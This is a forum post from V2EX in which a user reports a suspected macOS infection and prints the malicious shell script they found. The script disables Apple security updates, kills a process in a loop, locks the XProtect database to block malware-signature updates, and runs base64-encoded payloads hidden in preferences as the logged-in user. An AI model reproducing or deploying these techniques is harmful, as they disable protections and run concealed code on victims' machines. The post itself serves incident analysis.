macOS 疑似中毒

3 月 31 日
 maxbug

找到的主脚本如下

defaults read fqijeu lqqr_djhxqjf | base64 --decode

date
whoami

cd /Users/Shared
pwd


root_tasks() {

	/usr/bin/defaults write /Library/Preferences/com.apple.SoftwareUpdate.plist ConfigDataInstall -bool false
	/usr/bin/defaults write /Library/Preferences/com.apple.SoftwareUpdate.plist AllowRapidSecurityResponses -bool false

	kill_processes() {
	  while true; do
	    pgrep -fi 'CloudTelemetryService' | xargs -r -I {} sh -c 'kill -9 {} && echo "killed PID {}"'
	    sleep 1
	  done
	}

	kill_processes &

	perl -e 'open my $fh, "<", "/var/protected/xprotect/XPdb" or die $!; flock($fh, 2) or die $!; while (1) { sleep 60; }' &

	echo "I am a root task $(whoami)"
	
}

network_tasks() {
	while ! ping -c1 -W1 1.1.1.1 &> /dev/null ; do
		echo 'no net'
	    sleep 5
	done

	echo 'net available'
	"$1"
	echo 'network task completed.'
}


localuser_tasks() {

	while true; do
	    localuser=$(scutil <<< "show State:/Users/ConsoleUser" | awk '/Name :/ && ! /loginwindow/ { print $3 }')
	    
	    if [[ -n "$localuser" ]]; then
	        break
	    fi

	    echo 'No logged-in user. Retrying...'
	    sleep 5
	done

	echo "[LOGGED IN] $localuser"

	task() {
		sleep 30

		sudo -u "$localuser" /bin/bash <<EOF 
defaults read 'fqijeu' 'burlh_dqeur_rkq' | base64 --decode | env SRC='Daemon' sh >/dev/null 2>&1 &
EOF

	}

	network_tasks task &


}

loop_tasks() {
	echo 'Daemon is running...'

	if [ -e "/Users/echo/.kill" ]; then
	  	echo 'killing...'

		grep -lir 'echo.*base64.*sh' /Library/LaunchDaemons/ 2>/dev/null | while read -r file; do
	    	echo "$file"
	    	rm -f "$file"
		done

		rm -f "/Users/echo/.kill"

		echo 'killed.'

		exit
	fi

}

root_tasks &
localuser_tasks &

while true; do
  loop_tasks &
  sleep 60
done

2264 次点击
所在节点    信息安全
0 条回复

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1202582

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX